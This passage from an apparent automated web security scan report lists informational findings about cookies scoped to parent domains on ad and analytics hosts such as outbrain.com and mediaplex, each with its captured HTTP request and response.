s_vi=[CS]v1|26E73DB0051D2A7B-6000013160066322[CE]; Expires=Thu, 12 May 2016 12:53:52 GMT; Domain=.mcafee.com; Path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /b/ss/mcafeecomglobal/1/H.21/s81213273680768?AQB=1&ndh=1&t=14/4/2011%207%3A53%3A50%206%20300&vmt=4C759226&ns=mcafee&pageName=siteadvisor%3Aen-us%3Ahome&g=http%3A//www.siteadvisor.com/&r=http%3A//www.mcafeesecure.com/us/&cc=USD&ch=siteadvisor%3Aen-us%3Ahome&events=event1&v1=siteadvisor%3Aen-us%3Ahome&c4=us&v4=D%3Dc4&c5=en-us&v5=D%3Dc5&c7=na&v7=D%3Dc7&c11=New&v11=D%3Dc11&c12=5%3A30AM&v12=D%3Dc12&c13=Saturday&v13=D%3Dc13&c14=Weekend&v14=D%3Dc14&v21=siteadvisor%3Aen-us%3Ahome&c49=siteadvisor%3Aen-us%3Ahome&s=1920x1200&c=32&j=1.6&v=Y&k=Y&bw=1020&bh=945&p=Shockwave%20Flash%3BJava%20Deployment%20Toolkit%206.0.240.7%3BJava%28TM%29%20Platform%20SE%206%20U24%3BSilverlight%20Plug-In%3BChrome%20PDF%20Viewer%3BGoogle%20Gears%200.5.33.0%3BWPI%20Detector%201.3%3BGoogle%20Update%3BDefault%20Plug-in%3B&AQE=1 HTTP/1.1
Host: metrics.mcafee.com
Proxy-Connection: keep-alive
Referer: http://www.siteadvisor.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 302 Found
Date: Sat, 14 May 2011 12:53:52 GMT
Server: Omniture DC/2.0.0
Set-Cookie: s_vi=[CS]v1|26E73DB0051D2A7B-6000013160066322[CE]; Expires=Thu, 12 May 2016 12:53:52 GMT; Domain=.mcafee.com; Path=/
Location: http://metrics.mcafee.com/b/ss/mcafeecomglobal/1/H.21/s81213273680768?AQB=1&pccr=true&vidn=26E73DB0051D2A7B-6000013160066322&&ndh=1&t=14/4/2011%207%3A53%3A50%206%20300&vmt=4C759226&ns=mcafee&pageName=siteadvisor%3Aen-us%3Ahome&g=http%3A//www.siteadvisor.com/&r=http%3A//www.mcafeesecure.com/us/&cc=USD&ch=siteadvisor%3Aen-us%3Ahome&events=event1&v1=siteadvisor%3Aen-us%3Ahome&c4=us&v4=D%3Dc4&c5=en-us&v5=D%3Dc5&c7=na&v7=D%3Dc7&c11=New&v11=D%3Dc11&c12=5%3A30AM&v12=D%3Dc12&c13=Saturday&v13=D%3Dc13&c14=Weekend&v14=D%3Dc14&v21=siteadvisor%3Aen-us%3Ahome&c49=siteadvisor%3Aen-us%3Ahome&s=1920x1200&c=32&j=1.6&v=Y&k=Y&bw=1020&bh=945&p=Shockwave%20Flash%3BJava%20Deployment%20Toolkit%206.0.240.7%3BJava%28TM%29%20Platform%20SE%206%20U24%3BSilverlight%20Plug-In%3BChrome%20PDF%20Viewer%3BGoogle%20Gears%200.5.33.0%3BWPI%20Detector%201.3%3BGoogle%20Update%3BDefault%20Plug-in%3B&AQE=1
X-C: ms-4.4.1
Expires: Fri, 13 May 2011 12:53:52 GMT
Last-Modified: Sun, 15 May 2011 12:53:52 GMT
Cache-Control: no-cache, no-store, must-revalidate, max-age=0, proxy-revalidate, no-transform, private
Pragma: no-cache
P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID PSA OUR IND COM NAV STA"
xserver: www339
Content-Length: 0
Content-Type: text/plain

14.40. http://mp.apmebf.com/ad/js/13754-86576-1281-0 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://mp.apmebf.com
Path:	/ad/js/13754-86576-1281-0

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

S=g14vo-45643-1305367958329-7l; domain=.apmebf.com; path=/; expires=Mon, 13-May-2013 10:12:38 GMT

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /ad/js/13754-86576-1281-0?mpt=3040010&mpvc=http://ad.doubleclick.net/click%3Bh%3Dv8/3b07/3/0/%2a/a%3B207642206%3B1-0%3B0%3B29270204%3B4307-300/250%3B33472683/33490561/1%3B%3B%7Eokv%3D%3B%21category%3D%3Bbiz%3D1053%3B%3B%3Bmc%3Db2pfreezone%3Btile%3D7%3Bsz%3D336x280%2C300x250%3B%3B%7Eaopt%3D6/1/ff/1%3B%7Esscs%3D%3f&host=altfarm.mediaplex.com HTTP/1.1
Host: mp.apmebf.com
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/static_html_files/jsframe.html?jsuri=http://ad.doubleclick.net/adj/bottom.interactive.wsj.com/business_econ_front;!category=;biz=1053;;;mc=b2pfreezone;tile=7;sz=336x280,300x250;ord=5370537053705370;
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 302 Found
Date: Sat, 14 May 2011 10:12:38 GMT
Server: Apache
P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR PSAo PSDo OUR IND UNI COM NAV"
Set-Cookie: S=g14vo-45643-1305367958329-7l; domain=.apmebf.com; path=/; expires=Mon, 13-May-2013 10:12:38 GMT
Location: http://altfarm.mediaplex.com/ad/js/13754-86576-1281-0?mpt=3040010&mpvc=http://ad.doubleclick.net/click%3Bh%3Dv8/3b07/3/0/%2a/a%3B207642206%3B1-0%3B0%3B29270204%3B4307-300/250%3B33472683/33490561/1%3B%3B%7Eokv%3D%3B%21category%3D%3Bbiz%3D1053%3B%3B%3Bmc%3Db2pfreezone%3Btile%3D7%3Bsz%3D336x280%2C300x250%3B%3B%7Eaopt%3D6/1/ff/1%3B%7Esscs%3D%3f&no_cj_c=1&upsid=817318600485
Content-Length: 567
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>302 Found</title>
</head><body>
<h1>Found</h1>
<p>The document has moved <a href="http://altfarm.mediaplex.com/ad/js/13754-86576-
...[SNIP]...

14.41. http://odb.outbrain.com/utils/get previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://odb.outbrain.com
Path:	/utils/get

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

obuid=8212382c-a920-4555-8b81-259021933018; Domain=.outbrain.com; Expires=Tue, 08-May-2012 10:36:00 GMT; Path=/
tick=1305369360028; Domain=.outbrain.com; Path=/
_lvs2="uaMqgoSgWEtsUDbY+ohiLYEnd3D/JQAT"; Version=1; Domain=outbrain.com; Max-Age=33868800; Expires=Sat, 09-Jun-2012 10:36:00 GMT; Path=/
_lvd2="e0MjrHqXH8wCQxDytJnB4N69GWfDw5tMPzeXAm/v95E+Pd3eRDQ31LtR9rpG/iaskJWlQEP7SN0="; Version=1; Domain=outbrain.com; Max-Age=564480; Expires=Fri, 20-May-2011 23:24:00 GMT; Path=/
_rcc2=NXlRX9sMiunRtm+CPv1EhOsE3s6itk45; Domain=outbrain.com; Expires=Sat, 09-Jun-2012 10:36:00 GMT; Path=/
recs-552c206c78a66735ab9968f134308236="9+pXmi4UnYMpAI1qmKoEAh30z3NEqV/lFe4SFpYL2kv2R4KYf4a8Q1JFtJVCIyt1"; Version=1; Domain=outbrain.com; Max-Age=300; Expires=Sat, 14-May-2011 10:41:00 GMT; Path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /utils/get?url=http%3A%2F%2Fwww.marketwatch.com%2Fstory%2Foil-futures-ease-but-stay-above-98-a-barrel-2011-05-12&settings=true&recs=true&widgetJSId=SB_1&key=AYQHSUWJ8576&idx=0&version=37740&ref=http%3A%2F%2Fburp%2Fshow%2F2&apv=false&rand=0.8621419987175614&sig=q5yTta0S HTTP/1.1
Host: odb.outbrain.com
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: tick=1305369337278; _lvs2="uaMqgoSgWEtsUDbY+ohiLYEnd3D/JQAT"; _lvd2="e0MjrHqXH8wCQxDytJnB4N69GWfDw5tMPzeXAm/v95E+Pd3eRDQ31LtR9rpG/iaskJWlQEP7SN0="; _rcc2=NXlRX9sMiunRtm+CPv1EhOsE3s6itk45; recs-1b902b0c3e91a142af579c9a1b772b7e="9+pXmi4UnYMpAI1qmKoEAh30z3NEqV/lFe4SFpYL2kv2R4KYf4a8Q1JFtJVCIyt1"; obuid=8212382c-a920-4555-8b81-259021933018

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Set-Cookie: obuid=8212382c-a920-4555-8b81-259021933018; Domain=.outbrain.com; Expires=Tue, 08-May-2012 10:36:00 GMT; Path=/
Cache-Control: no-cache
Pragma: no-cache
Set-Cookie: tick=1305369360028; Domain=.outbrain.com; Path=/
P3P: policyref="http://www.outbrain.com/w3c/p3p.xml",CP="NOI NID CURa DEVa TAIa PSAa PSDa OUR IND UNI"
Set-Cookie: _lvs2="uaMqgoSgWEtsUDbY+ohiLYEnd3D/JQAT"; Version=1; Domain=outbrain.com; Max-Age=33868800; Expires=Sat, 09-Jun-2012 10:36:00 GMT; Path=/
Set-Cookie: _lvd2="e0MjrHqXH8wCQxDytJnB4N69GWfDw5tMPzeXAm/v95E+Pd3eRDQ31LtR9rpG/iaskJWlQEP7SN0="; Version=1; Domain=outbrain.com; Max-Age=564480; Expires=Fri, 20-May-2011 23:24:00 GMT; Path=/
Set-Cookie: _rcc2=NXlRX9sMiunRtm+CPv1EhOsE3s6itk45; Domain=outbrain.com; Expires=Sat, 09-Jun-2012 10:36:00 GMT; Path=/
Set-Cookie: recs-552c206c78a66735ab9968f134308236="9+pXmi4UnYMpAI1qmKoEAh30z3NEqV/lFe4SFpYL2kv2R4KYf4a8Q1JFtJVCIyt1"; Version=1; Domain=outbrain.com; Max-Age=300; Expires=Sat, 14-May-2011 10:41:00 GMT; Path=/
Content-Type: text/x-json;charset=UTF-8
Vary: Accept-Encoding
Date: Sat, 14 May 2011 10:35:59 GMT
Content-Length: 3826

outbrain_rater.returnedOdbData({'response':{'exec_time':16,'status':{'id':0,'content':'Request succeeded'},'request':{'did':'205180139','req_id':'d2f5d54711fd5b6ba42a9a24c5c7b658'},'score':{'preferred
...[SNIP]...

14.42. http://odb.outbrain.com/utils/get previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://odb.outbrain.com
Path:	/utils/get

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

obuid=8212382c-a920-4555-8b81-259021933018; Domain=.outbrain.com; Expires=Tue, 08-May-2012 10:23:58 GMT; Path=/
tick=1305368638239; Domain=.outbrain.com; Path=/
_lvs2="uaMqgoSgWEvSk/LwfgN5JQ=="; Version=1; Domain=outbrain.com; Max-Age=33868800; Expires=Sat, 09-Jun-2012 10:23:58 GMT; Path=/
_lvd2=e0MjrHqXH8wCQxDytJnB4CIbs9PCiM04; Domain=outbrain.com; Expires=Fri, 20-May-2011 23:11:58 GMT; Path=/
_rcc2="c5YqA63GvjSl+Ov6ordflA=="; Version=1; Domain=outbrain.com; Max-Age=33868800; Expires=Sat, 09-Jun-2012 10:23:58 GMT; Path=/
recs-4f1ee888c9bcafd81af856a18a8cd37f="H76Y4BziB30xaXmI4IDCs0QKGoX1//Uy+q2wFFnnK1YlqrxR1/mo1sHQF+x3qEj2MlftqQ2aJLKWNbP7yVoYII9zwRAPy4Ef7MEICG10g7G3qsvqkzogEfq1xBnVcvf37plajFK9+RZ5WOXcO9UcZQ=="; Version=1; Domain=outbrain.com; Max-Age=300; Expires=Sat, 14-May-2011 10:28:58 GMT; Path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /utils/get?url=http%3A%2F%2Fkara.allthingsd.com%2F20110513%2Fdear-yahoo-board-your-investors-are-on-line-2-and-theyre-not-happy%2F&srcUrl=http%3A%2F%2Fkara.allthingsd.com%2Ffeed%2F&settings=true&recs=true&widgetJSId=AR_1&key=AYQHSUWJ8576&idx=0&version=37740&ref=http%3A%2F%2Fallthingsd.com%2F&apv=false&rand=0.4417262449860573&sig=F8GRi84z HTTP/1.1
Host: odb.outbrain.com
Proxy-Connection: keep-alive
Referer: http://kara.allthingsd.com/20110513/dear-yahoo-board-your-investors-are-on-line-2-and-theyre-not-happy/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: _lvs2="0iSwTrvIo2A="; _lvd2="e0MjrHqXH8yTGOkh7K4R9Q=="; _rcc2="c5YqA63GvjSl+Ov6ordflA=="; obuid=8212382c-a920-4555-8b81-259021933018

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Set-Cookie: obuid=8212382c-a920-4555-8b81-259021933018; Domain=.outbrain.com; Expires=Tue, 08-May-2012 10:23:58 GMT; Path=/
Cache-Control: no-cache
Pragma: no-cache
Set-Cookie: tick=1305368638239; Domain=.outbrain.com; Path=/
P3P: policyref="http://www.outbrain.com/w3c/p3p.xml",CP="NOI NID CURa DEVa TAIa PSAa PSDa OUR IND UNI"
Set-Cookie: _lvs2="uaMqgoSgWEvSk/LwfgN5JQ=="; Version=1; Domain=outbrain.com; Max-Age=33868800; Expires=Sat, 09-Jun-2012 10:23:58 GMT; Path=/
Set-Cookie: _lvd2=e0MjrHqXH8wCQxDytJnB4CIbs9PCiM04; Domain=outbrain.com; Expires=Fri, 20-May-2011 23:11:58 GMT; Path=/
Set-Cookie: _rcc2="c5YqA63GvjSl+Ov6ordflA=="; Version=1; Domain=outbrain.com; Max-Age=33868800; Expires=Sat, 09-Jun-2012 10:23:58 GMT; Path=/
Set-Cookie: recs-4f1ee888c9bcafd81af856a18a8cd37f="H76Y4BziB30xaXmI4IDCs0QKGoX1//Uy+q2wFFnnK1YlqrxR1/mo1sHQF+x3qEj2MlftqQ2aJLKWNbP7yVoYII9zwRAPy4Ef7MEICG10g7G3qsvqkzogEfq1xBnVcvf37plajFK9+RZ5WOXcO9UcZQ=="; Version=1; Domain=outbrain.com; Max-Age=300; Expires=Sat, 14-May-2011 10:28:58 GMT; Path=/
Content-Type: text/x-json;charset=UTF-8
Vary: Accept-Encoding
Date: Sat, 14 May 2011 10:23:57 GMT
Content-Length: 8249

outbrain_rater.returnedOdbData({'response':{'exec_time':17,'status':{'id':0,'content':'Request succeeded'},'request':{'did':'205359792','req_id':'49a235a56b5a8251478d3d2825561a07'},'score':{'preferred
...[SNIP]...

14.43. http://odb.outbrain.com/utils/get previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://odb.outbrain.com
Path:	/utils/get

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

obuid=8212382c-a920-4555-8b81-259021933018; Domain=.outbrain.com; Expires=Tue, 08-May-2012 11:03:00 GMT; Path=/
tick=1305370980045; Domain=.outbrain.com; Path=/
_lvs2="uaMqgoSgWEtsUDbY+ohiLYEnd3D/JQAT"; Version=1; Domain=outbrain.com; Max-Age=33868800; Expires=Sat, 09-Jun-2012 11:03:00 GMT; Path=/
_lvd2="e0MjrHqXH8wCQxDytJnB4N69GWfDw5tMPzeXAm/v95E+Pd3eRDQ31LtR9rpG/iaskJWlQEP7SN0="; Version=1; Domain=outbrain.com; Max-Age=564480; Expires=Fri, 20-May-2011 23:51:00 GMT; Path=/
_rcc2=NXlRX9sMiunRtm+CPv1EhOsE3s6itk45; Domain=outbrain.com; Expires=Sat, 09-Jun-2012 11:03:00 GMT; Path=/
recs-1b902b0c3e91a142af579c9a1b772b7e=9+pXmi4UnYODaNkLiQJRTzc+tfBhxbGTKlTxHRwOPWYcrfHJ5vn5isxecxZDeaQ2; Domain=outbrain.com; Expires=Sat, 14-May-2011 11:08:00 GMT; Path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /utils/get?url=http%3A%2F%2Fwww.marketwatch.com%2Fstory%2Foil-futures-ease-but-stay-above-98-a-barrel-2011-05-12&settings=true&recs=true&widgetJSId=SB_1&key=AYQHSUWJ8576&idx=0&version=37740&ref=http%3A%2F%2Fburp%2Fshow%2F0&apv=false&rand=0.47279576770961285&sig=favCfvwm HTTP/1.1
Host: odb.outbrain.com
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: tick=1305368175668; _lvs2="uaMqgoSgWEtsUDbY+ohiLYEnd3D/JQAT"; _lvd2="e0MjrHqXH8wCQxDytJnB4BE+GHumypnqBEDkfXDh08YPBOrz61pK5EjfpK3VyZNskxjpIeyuEfU="; _rcc2=NXlRX9sMiunRtm+CPv1EhOsE3s6itk45; obuid=8212382c-a920-4555-8b81-259021933018

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Set-Cookie: obuid=8212382c-a920-4555-8b81-259021933018; Domain=.outbrain.com; Expires=Tue, 08-May-2012 11:03:00 GMT; Path=/
Cache-Control: no-cache
Pragma: no-cache
Set-Cookie: tick=1305370980045; Domain=.outbrain.com; Path=/
P3P: policyref="http://www.outbrain.com/w3c/p3p.xml",CP="NOI NID CURa DEVa TAIa PSAa PSDa OUR IND UNI"
Set-Cookie: _lvs2="uaMqgoSgWEtsUDbY+ohiLYEnd3D/JQAT"; Version=1; Domain=outbrain.com; Max-Age=33868800; Expires=Sat, 09-Jun-2012 11:03:00 GMT; Path=/
Set-Cookie: _lvd2="e0MjrHqXH8wCQxDytJnB4N69GWfDw5tMPzeXAm/v95E+Pd3eRDQ31LtR9rpG/iaskJWlQEP7SN0="; Version=1; Domain=outbrain.com; Max-Age=564480; Expires=Fri, 20-May-2011 23:51:00 GMT; Path=/
Set-Cookie: _rcc2=NXlRX9sMiunRtm+CPv1EhOsE3s6itk45; Domain=outbrain.com; Expires=Sat, 09-Jun-2012 11:03:00 GMT; Path=/
Set-Cookie: recs-1b902b0c3e91a142af579c9a1b772b7e=9+pXmi4UnYODaNkLiQJRTzc+tfBhxbGTKlTxHRwOPWYcrfHJ5vn5isxecxZDeaQ2; Domain=outbrain.com; Expires=Sat, 14-May-2011 11:08:00 GMT; Path=/
Content-Type: text/x-json;charset=UTF-8
Vary: Accept-Encoding
Date: Sat, 14 May 2011 11:02:59 GMT
Content-Length: 3849

outbrain_rater.returnedOdbData({'response':{'exec_time':12,'status':{'id':0,'content':'Request succeeded'},'request':{'did':'205180139','req_id':'a1f475d767a1ce3d324ef5820dc81e9f'},'score':{'preferred
...[SNIP]...

14.44. http://odb.outbrain.com/utils/get previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://odb.outbrain.com
Path:	/utils/get

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

obuid=8212382c-a920-4555-8b81-259021933018; Domain=.outbrain.com; Expires=Tue, 08-May-2012 10:27:02 GMT; Path=/
tick=1305368822937; Domain=.outbrain.com; Path=/
_lvs2="uaMqgoSgWEtsUDbY+ohiLYEnd3D/JQAT"; Version=1; Domain=outbrain.com; Max-Age=33868800; Expires=Sat, 09-Jun-2012 10:27:02 GMT; Path=/
_lvd2="e0MjrHqXH8wCQxDytJnB4BE+GHumypnqzvrUYdHwZM8="; Version=1; Domain=outbrain.com; Max-Age=564480; Expires=Fri, 20-May-2011 23:15:02 GMT; Path=/
_rcc2="c5YqA63GvjSl+Ov6ordflA=="; Version=1; Domain=outbrain.com; Max-Age=33868800; Expires=Sat, 09-Jun-2012 10:27:02 GMT; Path=/
recs-4b72c754922b6d1a58711a223d14f3d1=9+pXmi4UnYODaNkLiQJRT8mHyWW89JP8KlTxHRwOPWb2R4KYf4a8Q1JFtJVCIyt1; Domain=outbrain.com; Expires=Sat, 14-May-2011 10:32:02 GMT; Path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /utils/get?url=http%3A%2F%2Fwww.marketwatch.com%2Fstory%2Foil-futures-ease-but-stay-above-98-a-barrel-2011-05-12&settings=true&recs=true&widgetJSId=SB_1&key=AYQHSUWJ8576&idx=0&version=37740&ref=http%3A%2F%2Fwww.marketwatch.com%2F&apv=false&rand=0.26482874248176813&sig=dRKXITIV HTTP/1.1
Host: odb.outbrain.com
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: tick=1305368043777; _lvs2="uaMqgoSgWEvSk/LwfgN5JQ=="; _lvd2=e0MjrHqXH8wCQxDytJnB4CIbs9PCiM04; _rcc2="c5YqA63GvjSl+Ov6ordflA=="; recs-4f1ee888c9bcafd81af856a18a8cd37f="NSo8NrhUT+oopiezZu7hfJb/BwY0o/kY083N2eo5Bm7/agc3hhg3AFKQLEJCGxUZmgb4H+p4HQoiJivwCV7gHFAfKyX8brzE4bFP59hhbQyy1rXFnrYX1xWWw3q8h9qBUw3tIqhstFZ5WOXcO9UcZQ=="; obuid=8212382c-a920-4555-8b81-259021933018

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Set-Cookie: obuid=8212382c-a920-4555-8b81-259021933018; Domain=.outbrain.com; Expires=Tue, 08-May-2012 10:27:02 GMT; Path=/
Cache-Control: no-cache
Pragma: no-cache
Set-Cookie: tick=1305368822937; Domain=.outbrain.com; Path=/
P3P: policyref="http://www.outbrain.com/w3c/p3p.xml",CP="NOI NID CURa DEVa TAIa PSAa PSDa OUR IND UNI"
Set-Cookie: _lvs2="uaMqgoSgWEtsUDbY+ohiLYEnd3D/JQAT"; Version=1; Domain=outbrain.com; Max-Age=33868800; Expires=Sat, 09-Jun-2012 10:27:02 GMT; Path=/
Set-Cookie: _lvd2="e0MjrHqXH8wCQxDytJnB4BE+GHumypnqzvrUYdHwZM8="; Version=1; Domain=outbrain.com; Max-Age=564480; Expires=Fri, 20-May-2011 23:15:02 GMT; Path=/
Set-Cookie: _rcc2="c5YqA63GvjSl+Ov6ordflA=="; Version=1; Domain=outbrain.com; Max-Age=33868800; Expires=Sat, 09-Jun-2012 10:27:02 GMT; Path=/
Set-Cookie: recs-4b72c754922b6d1a58711a223d14f3d1=9+pXmi4UnYODaNkLiQJRT8mHyWW89JP8KlTxHRwOPWb2R4KYf4a8Q1JFtJVCIyt1; Domain=outbrain.com; Expires=Sat, 14-May-2011 10:32:02 GMT; Path=/
Content-Type: text/x-json;charset=UTF-8
Vary: Accept-Encoding
Date: Sat, 14 May 2011 10:27:02 GMT
Content-Length: 3826

outbrain_rater.returnedOdbData({'response':{'exec_time':12,'status':{'id':0,'content':'Request succeeded'},'request':{'did':'205180139','req_id':'dd44f98f18b939375ffb1cb17d03dae6'},'score':{'preferred
...[SNIP]...

14.45. http://odb.outbrain.com/utils/ping.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://odb.outbrain.com
Path:	/utils/ping.html

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

obuid=8212382c-a920-4555-8b81-259021933018; Domain=.outbrain.com; Expires=Tue, 08-May-2012 10:23:21 GMT; Path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /utils/ping.html?random=0.21627203840762377 HTTP/1.1
Host: odb.outbrain.com
Proxy-Connection: keep-alive
Referer: http://kara.allthingsd.com/20110513/dear-yahoo-board-your-investors-are-on-line-2-and-theyre-not-happy/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: obuid=8212382c-a920-4555-8b81-259021933018; _lvs2="0iSwTrvIo2A="; _lvd2="e0MjrHqXH8yTGOkh7K4R9Q=="; _rcc2="c5YqA63GvjSl+Ov6ordflA=="

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Set-Cookie: obuid=8212382c-a920-4555-8b81-259021933018; Domain=.outbrain.com; Expires=Tue, 08-May-2012 10:23:21 GMT; Path=/
Cache-Control: no-cache
Pragma: no-cache
Accept-Ranges: bytes
ETag: W/"158-1304265382000"
Last-Modified: Sun, 01 May 2011 15:56:22 GMT
Content-Type: text/html
Content-Length: 158
Date: Sat, 14 May 2011 10:23:20 GMT

<html>
   <head>
       <META HTTP-EQUIV="Cache-Control" CONTENT="no-cache">
       <META HTTP-EQUIV="Pragma" CONTENT="no-cache">
   </head>
   <body>
   </body>
</html>

14.46. http://om.dowjoneson.com/b/ss/djglobal,djwsj/1/H.20.3/s77142258654348 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://om.dowjoneson.com
Path:	/b/ss/djglobal,djwsj/1/H.20.3/s77142258654348

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

s_vi=[CS]v1|26E72A64851D26AC-40000101E0047CEC[CE]; Expires=Thu, 12 May 2016 10:09:13 GMT; Domain=.dowjoneson.com; Path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /b/ss/djglobal,djwsj/1/H.20.3/s77142258654348?AQB=1&ndh=1&t=14/4/2011%205%3A9%3A8%206%20300&vmt=44BD02B1&ns=dowjones&pageName=WSJ_U.S.%20Home_0_0_WH_0001_public&g=http%3A//online.wsj.com/home-page&cc=USD&ch=Online%20Journal&server=online.wsj.com&events=event12%2Cevent17%2Cevent64&c1=Home&h1=Online%20Journal%2CHome%2CWSJ_Home%20Page%20Public%2CWSJ_U.S.%20Home_0_0_WH_0001_public%2Chttp%3A//online.wsj.com/home-page&c2=WSJ_Home%20Page%20Public&h2=Online%20Journal%2Chome%20page%2CWSJ_Home%20Page%20Public%2CWSJ_Home_U.S.%20Home_0_0_WH_0001_public&c3=WSJ_Home_U.S.%20Home_0_0_WH_0001_public&h3=Online%20Journal%2CWSJ_Home%20Page%20Public%2CWSJ_Home%20Page%20Public%2CWSJ_U.S.%20Home_0_0_WH_0001_public&v4=WSJ_U.S.%20Home_0_0_WH_0001_public&h4=Online%20Journal%2CWSJ_Home%20Page%20Public%2CHome&c5=http%3A//online.wsj.com/home-page&h5=Online%20Journal%2CEdition_North_America_USA%2CHome%2CWSJ_Home%20Page%20Public%2CWSJ_Home%20Page%20Public&c6=http%3A//online.wsj.com/home-page&c7=off&c8=WSJ%20Online&c9=free&v11=Online%20Journal&c13=undefined&c19=home%20page&c20=0_0_WH_0001_public&c22=WSJ_Home_U.S.%20Home_0_0_WH_0001_public&c24=Edition_North_America_USA&v25=WSJ_Home%20Page%20Public&c26=WSJ_Home%20Page%20Public&c27=WSJ_free&v29=WSJ_Home%20Page%20Public&v31=Saturday&v32=5%3A00&v37=WSJ_Home_U.S.%20Home_0_0_WH_0001_public&c49=1&s=1920x1200&c=32&j=1.6&v=Y&k=Y&bw=1020&bh=945&p=Shockwave%20Flash%3BJava%20Deployment%20Toolkit%206.0.240.7%3BJava%28TM%29%20Platform%20SE%206%20U24%3BSilverlight%20Plug-In%3BChrome%20PDF%20Viewer%3BGoogle%20Gears%200.5.33.0%3BWPI%20Detector%201.3%3BGoogle%20Update%3BDefault%20Plug-in%3B&AQE=1 HTTP/1.1
Host: om.dowjoneson.com
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/home-page
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 302 Found
Date: Sat, 14 May 2011 10:09:13 GMT
Server: Omniture DC/2.0.0
